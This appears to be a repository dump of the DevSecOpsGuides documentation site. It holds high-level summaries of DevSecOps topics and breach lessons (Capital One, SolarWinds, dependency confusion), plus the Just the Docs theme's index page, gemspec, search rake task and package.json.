DevSecOps with DAST](https://www.scmagazine.com/resource/application-security/how-to-declutter-devsecops-with-dast?utm_content=245701246&utm_medium=social&utm_source=linkedin&hss_channel=lcp-11680352)\n\nDevSecOps is a crucial approach that combines development, security, and operations to ensure secure and efficient software development. However, the complexity and rapid pace of modern development environments can sometimes lead to challenges in integrating security effectively. In this article, we will explore how Dynamic Application Security Testing (DAST) can help streamline DevSecOps processes and enhance application security.\n\nUnderstanding DAST:\nDynamic Application Security Testing (DAST) is a technique used to identify vulnerabilities and security flaws in applications by actively scanning and testing them during runtime. Unlike static testing, which analyzes code without execution, DAST assesses applications in real-world scenarios, simulating various attacks to uncover vulnerabilities.\n\nContinuous Security Assessment:\nOne of the key benefits of DAST in the context of DevSecOps is its ability to provide continuous security assessment throughout the development lifecycle. By integrating DAST tools into the DevOps pipeline, security vulnerabilities can be identified and addressed early on, reducing the risk of exposing sensitive data or falling victim to cyberattacks.\n\nIdentifying Real-World Vulnerabilities:\nDAST tools simulate real-world attack scenarios, allowing organizations to identify vulnerabilities that may not be apparent through other testing methodologies. By actively probing applications, DAST tools uncover vulnerabilities that hackers could exploit, such as injection flaws, cross-site scripting (XSS), and insecure server configurations.\n\nCollaboration and Automation:\nDAST can be seamlessly integrated into the DevSecOps workflow, enabling collaboration between developers, security teams, and operations personnel. Automation plays a vital role in DAST, as it allows for the continuous scanning of applications during the development and deployment processes. This collaboration and automation ensure that security issues are identified and resolved rapidly, reducing the time and effort required for manual testing.\n\nRemediation and Compliance:\nDAST provides actionable insights into identified vulnerabilities, allowing teams to prioritize remediation efforts based on severity. By addressing vulnerabilities early on, organizations can strengthen their overall security posture and ensure compliance with industry standards and regulations. DAST also helps organizations demonstrate due diligence in securing their applications, providing peace of mind to stakeholders and customers.\n\n\n\n## Enhancing DevSecOps with OWASP DSOMM: A Maturity Model Perspective\n\n{: .label .label-yellow }\n[DevSecOps maturity model using OWASP DSOMM](https://aniediogo.hashnode.dev/devsecops-maturity-model-using-owasp-dsomm)\n\nDevSecOps, the integration of security practices into the software development lifecycle, has become crucial in today's fast-paced and evolving digital landscape. To effectively implement and mature DevSecOps practices, organizations can leverage frameworks and models that provide guidance and structure. In this article, we will explore the OWASP DSOMM (DevSecOps Maturity Model) and how it can help organizations enhance their DevSecOps initiatives.\n\nUnderstanding the OWASP DSOMM:\nThe OWASP DSOMM is a comprehensive maturity model specifically designed to assess and guide organizations in implementing DevSecOps practices. It provides a framework that encompasses various dimensions of DevSecOps maturity, including governance, automation, security controls, and culture. The DSOMM model is based on the Open Web Application Security Project (OWASP) principles and focuses on aligning security practices with business objectives.\n\nAssessing DevSecOps Maturity:\nThe DSOMM maturity model consists of several levels, each representing a different stage of DevSecOps maturity. These levels range from ad hoc security practices to fully integrated and automated security throughout the development lifecycle. By assessing their current maturity level using the DSOMM model, organizations can identify gaps and establish a roadmap for continuous improvement.\n\nBuilding a Governance Framework:\nA crucial aspect of DevSecOps maturity is the establishment of a robust governance framework. This includes defining security policies, establishing clear roles and responsibilities, and implementing effective risk management practices. The DSOMM helps organizations evaluate their governance practices, ensuring that security is integrated into decision-making processes and aligns with business objectives.\n\nAutomating Security Practices:\nAutomation plays a vital role in DevSecOps maturity. By automating security controls, organizations can reduce human error, enhance efficiency, and achieve consistent application security. The DSOMM emphasizes the importance of automation and guides organizations in implementing automated security testing, vulnerability scanning, and continuous monitoring throughout the software development lifecycle.\n\nCultivating a Security Culture:\nDevSecOps is not just about implementing tools and technologies but also fostering a security-centric culture within the organization. The DSOMM recognizes the significance of creating a collaborative environment where security is everyone's responsibility. It encourages organizations to promote security awareness, provide training, and establish communication channels for sharing security knowledge and best practices.\n\n\n## The Role of Threat Modeling in DevSecOps: Strengthening Security from the Ground Up\n\n\n{: .label .label-yellow }\n[Continuous Security: Threat Modeling in DevSecOps](https://bishopfox.com/blog/threat-modeling-in-devsecops)\n\nIn the fast-paced world of software development, security is a critical concern that cannot be ignored. DevSecOps, the integration of security practices into the software development lifecycle, has emerged as a powerful approach to building secure applications. One of the key components of DevSecOps is threat modeling, a proactive technique that helps identify and address potential security threats early in the development process. In this article, we will explore the significance of threat modeling in DevSecOps and how it strengthens security from the ground up.\n\nUnderstanding Threat Modeling:\nThreat modeling is a systematic approach to identify, assess, and mitigate potential security threats and vulnerabilities in software applications. It involves analyzing the application's architecture, data flows, and potential attack vectors to uncover security weaknesses. By identifying and addressing these issues during the design and development phase, organizations can build robust and secure applications.\n\nProactive Risk Assessment:\nThreat modeling enables organizations to take a proactive stance towards security by identifying potential threats and vulnerabilities before they are exploited by malicious actors. By conducting a comprehensive threat model, organizations can assess the potential impact and likelihood of various threats and prioritize security measures accordingly. This helps in allocating resources effectively and mitigating risks early in the development lifecycle.\n\nIntegration into DevSecOps:\nThreat modeling seamlessly integrates into the DevSecOps approach by incorporating security considerations into the software development process from the outset. It fosters collaboration between development, security, and operations teams, ensuring that security is not an afterthought but an integral part of the development process. Threat modeling empowers organizations to embed security controls and countermeasures into the application design, architecture, and code, reducing the likelihood of vulnerabilities.\n\nIdentifying Security Design Flaws:\nThrough threat modeling, organizations can uncover design flaws and weaknesses in the application's architecture. By simulating potential attack scenarios and analyzing the impact on the system, teams can identify security gaps that may not be apparent during traditional code reviews or testing. This enables proactive remediation of security issues and enhances the overall security posture of the application.\n\nCost-Effective Security Measures:\nBy identifying security risks early in the development process, organizations can prioritize security efforts and allocate resources efficiently. Threat modeling helps teams focus on implementing cost-effective security measures that address the most critical threats. This approach minimizes the likelihood of expensive security breaches and reduces the need for reactive security patches or fixes down the line.\n\n\n## Hard-Coding Secrets: Be Aware of the Scariest Breach for Your Organization\n\n\n{: .label .label-yellow }\n[Continuous Security: Threat Modeling in DevSecOps](https://medium.com/flat-pack-tech/hard-coding-secrets-be-aware-of-the-scariest-breach-for-your-organization-3e858ab296f2)\n\nIn today's digital age, organizations face an ever-increasing threat of data breaches and cyberattacks. While there are various vulnerabilities that attackers exploit, one of the scariest breaches that can occur is the exposure of hard-coded secrets. Hard-coding secrets, such as passwords, API keys, and other sensitive information directly into software code, poses a significant risk to organizations. In this article, we will explore the dangers of hard-coding secrets and the steps organizations can take to mitigate this potential security nightmare.\n\nUnderstanding Hard-Coded Secrets:\nHard-coding secrets refers to the practice of embedding sensitive information directly into the source code of applications. While it may seem convenient during development, it poses a severe security risk. Hard-coded secrets are easily accessible to anyone who has access to the code, including developers, third-party contractors, and potentially malicious actors. If an attacker gains access to the codebase, they can extract these secrets and exploit them for unauthorized access, data theft, or other malicious activities.\n\nThe Risks and Consequences:\nThe risks associated with hard-coding secrets are far-reaching and can have severe consequences for organizations. When secrets are exposed, it can lead to unauthorized access to sensitive data, compromise user accounts, and even result in financial loss or damage to the organization's reputation. Additionally, hard-coded secrets are challenging to manage and rotate, as they are directly embedded in the code, making it difficult to update them without modifying and redeploying the entire application.\n\nBest Practices to Mitigate the Risk:\nTo mitigate the risks associated with hard-coded secrets, organizations should adopt the following best practices:\n\nUse Secure Configuration Management: Store secrets in secure configuration management systems or vaults that provide encryption and access control mechanisms. These tools allow for centralized management, secure storage, and controlled access to sensitive information.\n\nImplement Environment Variables: Utilize environment variables to store secrets and configure applications to retrieve these values at runtime. This approach separates secrets from the codebase and enables easy configuration changes without modifying the application's source code.\n\nEmploy Secrets Management Solutions: Leverage secrets management solutions that provide secure storage, rotation, and distribution of secrets. These solutions offer a more robust and scalable approach to managing sensitive information throughout the development and deployment lifecycle.\n\nFollow Principle of Least Privilege: Limit access to secrets by following the principle of least privilege. Only provide necessary access to individuals or services, and regularly review and revoke access rights to minimize the risk of unauthorized exposure.\n\nContinuous Security Testing:\nRegularly conduct security testing, including static code analysis and dynamic application security testing (DAST), to identify and remediate any instances of hard-coded secrets. Implementing a comprehensive security testing program helps organizations identify vulnerabilities and ensure that secrets are not inadvertently embedded in the codebase.\n\n\n## Hilti's DevSecOps Journey: Building Secure and Efficient Software with GitLab\n\n\n{: .label .label-yellow }\n[How CI/CD and robust security scanning accelerated Hilti’s SDLC](https://about.gitlab.com/customers/hilti/)\n\nDevSecOps has become a crucial practice for organizations seeking to develop secure and efficient software. Hilti, a global leader in the construction industry, has embraced DevSecOps principles and harnessed the power of GitLab to enhance its software development processes. In this article, we will explore Hilti's DevSecOps journey and how GitLab has played a pivotal role in integrating security seamlessly into their development pipeline.\n\nEmbracing DevSecOps Culture:\nHilti recognized the importance of shifting security left in the software development lifecycle. By adopting DevSecOps principles, they fostered a culture where security is an integral part of the development process from the start. This cultural shift encouraged collaboration between development, security, and operations teams, resulting in faster, more secure software delivery.\n\nIntegrated Security Tools:\nGitLab's comprehensive platform provided Hilti with a wide array of built-in security features and tools. From static application security testing (SAST) and dynamic application security testing (DAST) to dependency scanning and container security, GitLab enabled Hilti to automate security checks throughout the development process. This integration allowed for early detection of vulnerabilities and ensured that security was continuously monitored and addressed.\n\nAutomated Testing and Continuous Integration:\nHilti leveraged GitLab's continuous integration capabilities to automate their testing processes. By integrating security testing into their CI/CD pipelines, they ensured that every code change was thoroughly examined for potential security issues. This approach enabled Hilti to catch vulnerabilities early on, reducing the risk of security breaches and improving the overall quality of their software.\n\nCollaboration and Visibility:\nGitLab's collaborative features allowed Hilti's teams to work seamlessly together. Developers, security professionals, and operations personnel could easily communicate and collaborate within the same platform, promoting cross-functional teamwork and knowledge sharing. Additionally, GitLab's intuitive dashboards provided clear visibility into the security posture of their projects, enabling proactive remediation of vulnerabilities.\n\nCompliance and Governance:\nAs a global organization, Hilti operates in a regulated environment and must adhere to various compliance standards. GitLab's compliance management features helped Hilti streamline their compliance efforts by providing a centralized platform for managing policies, controls, and audits. This ensured that their software development practices met the necessary regulatory requirements.\n\n\n## Capital One Data Breach\n\nOne notable real-world example of an attack resulting from inadequate Identity, Credential, and Access Management (ICAM) in the cloud environment is the Capital One data breach in 2019. The breach exposed the personal information of approximately 106 million customers and applicants.\n\nIn this case, the attacker exploited a misconfiguration in the web application firewall of Capital One's cloud infrastructure. The misconfiguration allowed the attacker to gain unauthorized access to a specific server and execute commands, ultimately exfiltrating sensitive customer data.\n\nThe root cause of the breach was attributed to inadequate ICAM practices, specifically related to the mismanagement of access controls and permissions. The attacker, a former employee of a cloud service provider, utilized their knowledge of the cloud infrastructure's vulnerabilities to bypass security measures.\n\nThe inadequate ICAM practices in this incident included:\n\n1. Insufficient access controls: The misconfiguration of the web application firewall allowed the attacker to exploit a specific vulnerability and gain unauthorized access to the server.\n\n1. Weak authentication mechanisms: The attacker was able to exploit weak authentication mechanisms to gain initial access to the cloud infrastructure.\n\n1. Inadequate monitoring and logging: The breach went undetected for a significant period due to a lack of proper monitoring and logging practices. This delayed response allowed the attacker to access and exfiltrate data without being detected.\n\n\n\n\n\n\n## Lessons Learned from Cybersecurity Incidents\n\n\n\n{: .label .label-yellow }\n[The attack on SolarWinds’s Orion software](https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/)\n\n\nIn the rapidly evolving world of cybersecurity, organizations are increasingly turning to DevSecOps practices to enhance their security posture and protect against cyber threats. DevSecOps, which integrates security into the entire software development lifecycle, helps identify vulnerabilities early on and enables a proactive approach to addressing security risks. In this article, we will explore some real-world DevSecOps stories, with a focus on the SolarWinds and FireEye cyberattacks, highlighting the importance of a robust DevSecOps framework.\n\nSolarWinds and FireEye Cyberattacks:\nThe SolarWinds and FireEye cyberattacks, which came to light in late 2020, were highly sophisticated and impactful security incidents that affected numerous organizations worldwide. These incidents exposed vulnerabilities in software supply chains and highlighted the need for comprehensive security measures throughout the development and deployment processes.\n\nLessons Learned:\n\n1. Strengthening Supply Chain Security: The SolarWinds attack demonstrated the importance of securing the software supply chain. DevSecOps teams should conduct thorough security assessments of third-party dependencies, closely monitor their integrity, and implement strong access controls to prevent unauthorized modifications.\n\n1. Emphasizing Zero Trust Architecture: The FireEye breach emphasized the need for a Zero Trust approach, where access controls and verification are applied at every stage. Implementing Zero Trust principles, such as multi-factor authentication, granular access controls, and continuous monitoring, can mitigate the risk of lateral movement and unauthorized access.\n\n1. Proactive Threat Hunting and Incident Response: Both incidents highlighted the significance of proactive threat hunting and robust incident response plans. DevSecOps teams should invest in advanced threat detection tools, perform regular security audits, and establish clear incident response protocols to swiftly identify and mitigate security breaches.\n\n1. Continuous Monitoring and Auditing: Continuous monitoring of systems, networks, and applications is critical to detecting and responding to security incidents promptly. Regular security audits and vulnerability assessments should be conducted to identify weaknesses and prioritize remediation efforts.\n\n1. Integration of Security into CI/CD Pipelines: DevSecOps teams should integrate security testing and scanning tools directly into the CI/CD pipelines. This ensures that security checks are performed at every stage of the development process, reducing the likelihood of deploying vulnerable code.\n\n\n\n\n\n\n\n## Lessons from the Dependency Confusion Attack\n\n\n\n\n{: .label .label-yellow }\n[Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)\n\nIn the world of software development, ensuring the security of the software supply chain is crucial. Dependency Confusion, a prominent security incident uncovered by researcher Alex Birsan, shed light on the vulnerabilities within the dependencies used by organizations. This article explores the Dependency Confusion attack and highlights the importance of implementing robust DevSecOps practices to mitigate such risks.\n\nThe Dependency Confusion Attack:\nDependency Confusion refers to an attack where malicious actors exploit the process of package management to inject malicious code into an organization's software development pipeline. The attack relies on publishing malicious packages with the same names as internal, private dependencies. As a result, unsuspecting developers inadvertently download and use the malicious packages instead of the intended internal dependencies.\n\nLessons Learned:\n\n1. Secure Package Management: The Dependency Confusion attack emphasizes the importance of securing the package management process. Implementing secure package repositories, strong access controls, and verification mechanisms can help prevent unauthorized packages from being inadvertently included in the development pipeline.\n\n1. Continuous Monitoring: Regularly monitoring package repositories and analyzing package integrity are crucial to detecting and mitigating potential threats. Automated tools and processes can assist in monitoring package dependencies for any suspicious or unauthorized activities.\n\n1. Explicitly Specify Dependencies: DevSecOps teams should ensure that dependencies are explicitly defined, including their version numbers, to minimize the risk of inadvertently including malicious packages. By being explicit, developers can avoid relying solely on package name resolution, which can be exploited in attacks like Dependency Confusion.\n\n1. Secure Development Environments: Implementing secure development environments is essential to protect against Dependency Confusion attacks. This includes securing build systems, employing robust authentication mechanisms, and enforcing access controls to prevent unauthorized access and package manipulation.\n\n1. Continuous Security Testing: Integrate security testing into the CI/CD pipeline to scan for vulnerabilities and validate the integrity of dependencies. Automated security testing tools, such as static analysis and dependency vulnerability scanners, can help identify potential risks early in the development process.\n\n\n\n\n\n"
  },
  {
    "path": "fixtures/Gemfile-github-pages",
    "content": "source \"https://rubygems.org\"\n\ngem 'github-pages', group: :jekyll_plugins\n"
  },
  {
    "path": "fixtures/README.md",
    "content": "# Test Fixtures\n\nThese files are used by Just the Docs maintainers to test *the theme itself*. **If you are using Just the Docs as a theme, you should not copy these files over.**\n"
  },
  {
    "path": "index.md",
    "content": "---\nlayout: default\ntitle: Home\nnav_order: 1\ndescription: \"a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications.\"\npermalink: /\n---\n\n# Simple Guide for Development and Operation\n{: .fs-9 }\n\nComprehensive resource for integrating security into the software development lifecycle.\n{: .fs-6 .fw-300 }\n\n[Get started now](#getting-started){: .btn .btn-primary .fs-5 .mb-4 .mb-md-0 .mr-2 }\n[View it on GitHub](https://github.com/devsecopsguides/devsecopsguides.github.io){: .btn .fs-5 .mb-4 .mb-md-0 }\n\n---\n\n\n\nWelcome to DevSecOpsGuides, a comprehensive resource for developers, security professionals, and operations teams who want to learn about the world of DevSecOps. DevSecOps is the practice of integrating security into the entire software development lifecycle, from code creation to deployment and beyond. This approach ensures that security is a top priority at every stage of the development process, leading to more secure and reliable applications and operations.\n\nOur guides cover a wide range of topics related to DevSecOps, including:\n\n1. Secure coding practices: Learn how to write code that is resistant to common security threats such as SQL injection, cross-site scripting, and buffer overflow.\n\n2. Threat modeling: Learn how to identify potential security vulnerabilities in your applications and prioritize them based on their impact and likelihood of occurrence.\n\n3. Security testing: Learn about different types of security testing, such as penetration testing, vulnerability scanning, and code review, and how to incorporate them into your DevSecOps workflow.\n\n4. Infrastructure security: Learn about securing the infrastructure that supports your applications, including servers, networks, and databases.\n\n5. Compliance and regulations: Learn about compliance requirements and regulations such as GDPR, HIPAA, and PCI-DSS, and how to ensure that your applications meet these standards.\n\n6. Incident response: Learn how to respond to security incidents quickly and effectively, minimizing the impact on your organization and customers.\n\nOur guides are written by experts in the field of DevSecOps, and are designed to be accessible to developers, security professionals, and operations teams at all levels of experience. Whether you are just getting started with DevSecOps or are looking to deepen your knowledge and skills, DevSecOpsGuides is the perfect resource for you.\n\n### Sponsorship\n\nSponsorship is a key strategy in the DevSecOps community, fostering collaboration and driving innovation. At DevSecOpsGuides, we recognize the value of sponsorship in bringing together industry leaders, enhancing security practices, and promoting the adoption of cutting-edge tools and methodologies.\n\nBenefits of Sponsorship in DevSecOpsGuides\nMutual Growth and Visibility: Sponsorship allows companies like Semgrep to gain visibility within the DevSecOps community. By associating with DevSecOpsGuides, sponsors can reach a targeted audience of developers, security professionals, and decision-makers.\n\nEnhanced Brand Image: Sponsoring educational content, webinars, and community events positions sponsors as thought leaders and innovators in the DevSecOps space. This positive association enhances brand reputation and credibility.\n\nCommunity Support and Engagement: Sponsorship provides resources that enable the creation of valuable content, tools, and resources for the DevSecOps community. This support helps drive engagement, knowledge sharing, and the adoption of best practices.\n\nAccess to Insights and Feedback: Sponsors gain access to a wealth of insights and feedback from the community. This interaction helps sponsors understand the needs and challenges of practitioners, allowing them to refine their offerings and better serve the market.\n\n#### Semgrep\nOur partnership with Semgrep exemplifies the impact of effective sponsorship. Semgrep, a powerful static analysis tool, has been instrumental in advancing the mission of DevSecOpsGuides. By sponsoring our initiatives, Semgrep has not only supported our community but also showcased their commitment to improving security practices across the development lifecycle.\n\n\n### Contributing\n\nYour Questions? This DevSecOps Guides could be answer this.\n\nWhen contributing to this repository, please first discuss the change you wish to make via issue,\nemail, or any other method with the owners of this repository before making a change. \n\nRead more about becoming a contributor in [our GitHub repo](https://github.com/devsecopsguides/devsecopsguides.github.io).\n\n\n1. Serve Project\n\n```\nbundle exec jekyll serve\n```\n\n\n\n#### Thank you to the contributors of DevSecOps Guides!\n\n<ul class=\"list-style-none\">\n{% for contributor in site.github.contributors %}\n  <li class=\"d-inline-block mr-1\">\n     <a href=\"{{ contributor.html_url }}\"><img src=\"{{ contributor.avatar_url }}\" width=\"32\" height=\"32\" alt=\"{{ contributor.login }}\"></a>\n  </li>\n{% endfor %}\n</ul>\n\nand\n\n* [Tanya Janca](https://twitter.com/shehackspurple)\n* [Okan YILDIZ](https://www.linkedin.com/in/yildizokan/)\n* [Dan Williams](https://www.linkedin.com/in/danwilliamssecurityengineer/)\n* [Barnavo Chowdhury](https://www.linkedin.com/in/barnavochowdhury/)\n* [Ayoub NAJIM](https://www.linkedin.com/in/ayoub-najim-299081151/)\n* [Nditah Samweld](https://www.linkedin.com/in/nditah/)\n* [Mahesh Mahajan](https://linkedin.com/in/themr255)\n* [Shivam Agnihotri](https://www.linkedin.com/in/shivam-agnihotri/)\n* [David das Neves](https://www.linkedin.com/in/daviddasneves/)\n\n\n\n\n"
  },
  {
    "path": "just-the-docs.gemspec",
    "content": "# coding: utf-8\n\nGem::Specification.new do |spec|\n  spec.name          = \"just-the-docs\"\n  spec.version       = \"0.5.1\"\n  spec.authors       = [\"Patrick Marsceill\", \"Matthew Wang\"]\n  spec.email         = [\"patrick.marsceill@gmail.com\", \"matt@matthewwang.me\"]\n\n  spec.summary       = %q{A modern, highly customizable, and responsive Jekyll theme for documentation with built-in search.}\n  spec.homepage      = \"https://github.com/just-the-docs/just-the-docs\"\n  spec.license       = \"MIT\"\n  spec.metadata      = {\n    \"bug_tracker_uri\"   => \"https://github.com/just-the-docs/just-the-docs/issues\",\n    \"changelog_uri\"     => \"https://github.com/just-the-docs/just-the-docs/blob/main/CHANGELOG.md\",\n    \"documentation_uri\" => \"https://just-the-docs.github.io/just-the-docs/\",\n    \"source_code_uri\"   => \"https://github.com/just-the-docs/just-the-docs\",\n  }\n\n  spec.files         = `git ls-files -z ':!:*.jpg' ':!:*.png'`.split(\"\\x0\").select { |f| f.match(%r{^(assets|bin|_layouts|_includes|lib|Rakefile|_sass|LICENSE|README|CHANGELOG|favicon)}i) }\n  spec.executables   << 'just-the-docs'\n\n  spec.add_development_dependency \"bundler\", \">= 2.3.5\"\n  spec.add_runtime_dependency \"jekyll\", \">= 3.8.5\"\n  spec.add_runtime_dependency \"jekyll-seo-tag\", \">= 2.0\"\n  spec.add_runtime_dependency \"rake\", \">= 12.3.1\"\nend\n"
  },
  {
    "path": "lib/tasks/search.rake",
    "content": "namespace :search do\n  desc 'Generate the files needed for search functionality'\n  task :init do\n    puts 'Creating search data json file...'\n    mkdir_p 'assets/js'\n    touch 'assets/js/zzzz-search-data.json'\n    puts 'Done.'\n    puts 'Generating content...'\n\n    File.open('assets/js/zzzz-search-data.json', 'w') do |f|\n      f.puts '---\npermalink: /assets/js/search-data.json\n---\n{\n{%- assign i = 0 -%}\n{%- assign pages_array = \"\" | split: \"\" -%}\n{%- assign pages_array = pages_array | push: site.html_pages -%}\n{%- if site.just_the_docs.collections -%}\n  {%- for collection_entry in site.just_the_docs.collections -%}\n    {%- assign collection_key = collection_entry[0] -%}\n    {%- assign collection_value = collection_entry[1] -%}\n    {%- assign collection = site[collection_key] -%}\n    {%- if collection_value.search_exclude != true -%}\n      {%- assign pages_array = pages_array | push: collection -%}\n    {%- endif -%}\n  {%- endfor -%}\n{%- endif -%}\n{%- for pages in pages_array -%}\n  {%- for page in pages -%}\n    {%- if page.title and page.search_exclude != true -%}\n      {%- assign page_content = page.content -%}\n      {%- assign heading_level = site.search.heading_level | default: 2 -%}\n      {%- for j in (2..heading_level) -%}\n        {%- assign tag = \\'<h\\' | append: j -%}\n        {%- assign closing_tag = \\'</h\\' | append: j -%}\n        {%- assign page_content = page_content | replace: tag, \\'<h1\\' | replace: closing_tag, \\'</h1\\' -%}\n      {%- endfor -%}\n      {%- assign parts = page_content | split: \\'<h1\\' -%}\n      {%- assign title_found = false -%}\n      {%- for part in parts offset: 1 -%}\n        {%- assign titleAndContent = part | split: \\'</h1>\\' -%}\n        {%- assign title = titleAndContent[0] | replace_first: \\'>\\', \\'<h1>\\' | split: \\'<h1>\\' -%}\n        {%- assign title = title[1] | strip_html -%}\n        {%- assign content = titleAndContent[1] -%}\n        {%- assign url = page.url -%}\n        {%- if title == page.title and parts[0] == \\'\\' -%}\n          {%- assign title_found = true -%}\n        {%- else -%}\n          {%- assign id = titleAndContent[0] -%}\n          {%- assign id = id | split: \\'id=\"\\' -%}\n          {%- if id.size == 2 -%}\n            {%- assign id = id[1] -%}\n            {%- assign id = id | split: \\'\"\\' -%}\n            {%- assign id = id[0] -%}\n            {%- capture url -%}{{ url | append: \\'#\\' | append: id }}{%- endcapture -%}\n          {%- endif -%}\n        {%- endif -%}\n  {%- unless i == 0 -%},{%- endunless -%}\n  \"{{ i }}\": {\n    \"doc\": {{ page.title | jsonify }},\n    \"title\": {{ title | jsonify }},\n    \"content\": {{ content | replace: \\'</h\\', \\' . </h\\' | replace: \\'<hr\\', \\' . <hr\\' | replace: \\'</p\\', \\' . </p\\' | replace: \\'<ul\\', \\' . <ul\\' | replace: \\'</ul\\', \\' . </ul\\' | replace: \\'<ol\\', \\' . <ol\\' | replace: \\'</ol\\', \\' . </ol\\' | replace: \\'</tr\\', \\' . </tr\\' | replace: \\'<li\\', \\' | <li\\' | replace: \\'</li\\', \\' | </li\\' | replace: \\'</td\\', \\' | </td\\' | replace: \\'<td\\', \\' | <td\\' | replace: \\'</th\\', \\' | </th\\' | replace: \\'<th\\', \\' | <th\\' | strip_html | remove: \\'Table of contents\\' | normalize_whitespace | replace: \\'. . .\\', \\'.\\' | replace: \\'. .\\', \\'.\\' | replace: \\'| |\\', \\'|\\' | append: \\' \\' | jsonify }},\n    \"url\": \"{{ url | relative_url }}\",\n    {% include lunr/custom-data.json page=page %}\n    \"relUrl\": \"{{ url }}\"\n  }\n        {%- assign i = i | plus: 1 -%}\n      {%- endfor -%}\n      {%- unless title_found -%}\n  {%- unless i == 0 -%},{%- endunless -%}\n  \"{{ i }}\": {\n    \"doc\": {{ page.title | jsonify }},\n    \"title\": {{ page.title | jsonify }},\n    \"content\": {{ parts[0] | replace: \\'</h\\', \\' . </h\\' | replace: \\'<hr\\', \\' . <hr\\' | replace: \\'</p\\', \\' . </p\\' | replace: \\'<ul\\', \\' . <ul\\' | replace: \\'</ul\\', \\' . </ul\\' | replace: \\'<ol\\', \\' . <ol\\' | replace: \\'</ol\\', \\' . </ol\\' | replace: \\'</tr\\', \\' . </tr\\' | replace: \\'<li\\', \\' | <li\\' | replace: \\'</li\\', \\' | </li\\' | replace: \\'</td\\', \\' | </td\\' | replace: \\'<td\\', \\' | <td\\' | replace: \\'</th\\', \\' | </th\\' | replace: \\'<th\\', \\' | <th\\' | strip_html | remove: \\'Table of contents\\' | normalize_whitespace | replace: \\'. . .\\', \\'.\\' | replace: \\'. .\\', \\'.\\' | replace: \\'| |\\', \\'|\\' | append: \\' \\' | jsonify }},\n    \"url\": \"{{ page.url | relative_url }}\",\n    {% include lunr/custom-data.json page=page %}\n    \"relUrl\": \"{{ page.url }}\"\n  }\n        {%- assign i = i | plus: 1 -%}\n      {%- endunless -%}\n    {%- endif -%}\n  {%- endfor -%}\n{%- endfor %}\n}'\n    end\n    puts 'Done.'\n  end\nend\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"just-the-docs\",\n  \"version\": \"0.3.3\",\n  \"description\": \"A modern Jekyll theme for documentation\",\n  \"repository\": \"just-the-docs/just-the-docs\",\n  \"license\": \"MIT\",\n  \"bugs\": \"https://github.com/just-the-docs/just-the-docs/issues\",\n  \"devDependencies\": {\n    \"npm-run-all\": \"^4.1.5\",\n    \"prettier\": \"^2.8.8\",\n    \"stylelint\": \"^15.6.0\",\n    \"stylelint-config-standard-scss\": \"^9.0.0\"\n  },\n  \"scripts\": {\n    \"lint\": \"npm-run-all --parallel --continue-on-error lint:*\",\n    \"lint:css\": \"stylelint '**/*.scss'\",\n    \"lint:formatting\": \"prettier --check '**/*.{scss,js,json}'\",\n    \"format\": \"prettier --write '**/*.{scss,js,json}'\",\n    \"test\": \"npm run lint\"\n  },\n  \"stylelint\": {\n    \"ignoreFiles\": [\n      \"assets/css/just-the-docs-default.scss\",\n      \"assets/css/just-the-docs-light.scss\",\n      \"assets/css/just-the-docs-dark.scss\",\n      \"_sass/vendor/**/*.scss\"\n    ],\n    \"extends\": [\n      \"stylelint-config-standard-scss\"\n    ],\n    \"rules\": {\n      \"alpha-value-notation\": null,\n      \"at-rule-empty-line-before\": null,\n      \"color-function-notation\": null,\n      \"media-feature-range-notation\": \"prefix\",\n      \"no-descending-specificity\": null,\n      \"scss/no-global-function-names\": null\n    }\n  },\n  \"prettier\": {\n    \"endOfLine\": \"lf\",\n    \"semi\": false,\n    \"singleQuote\": false,\n    \"tabWidth\": 2,\n    \"trailingComma\": \"es5\"\n  }\n}\n"
  }
]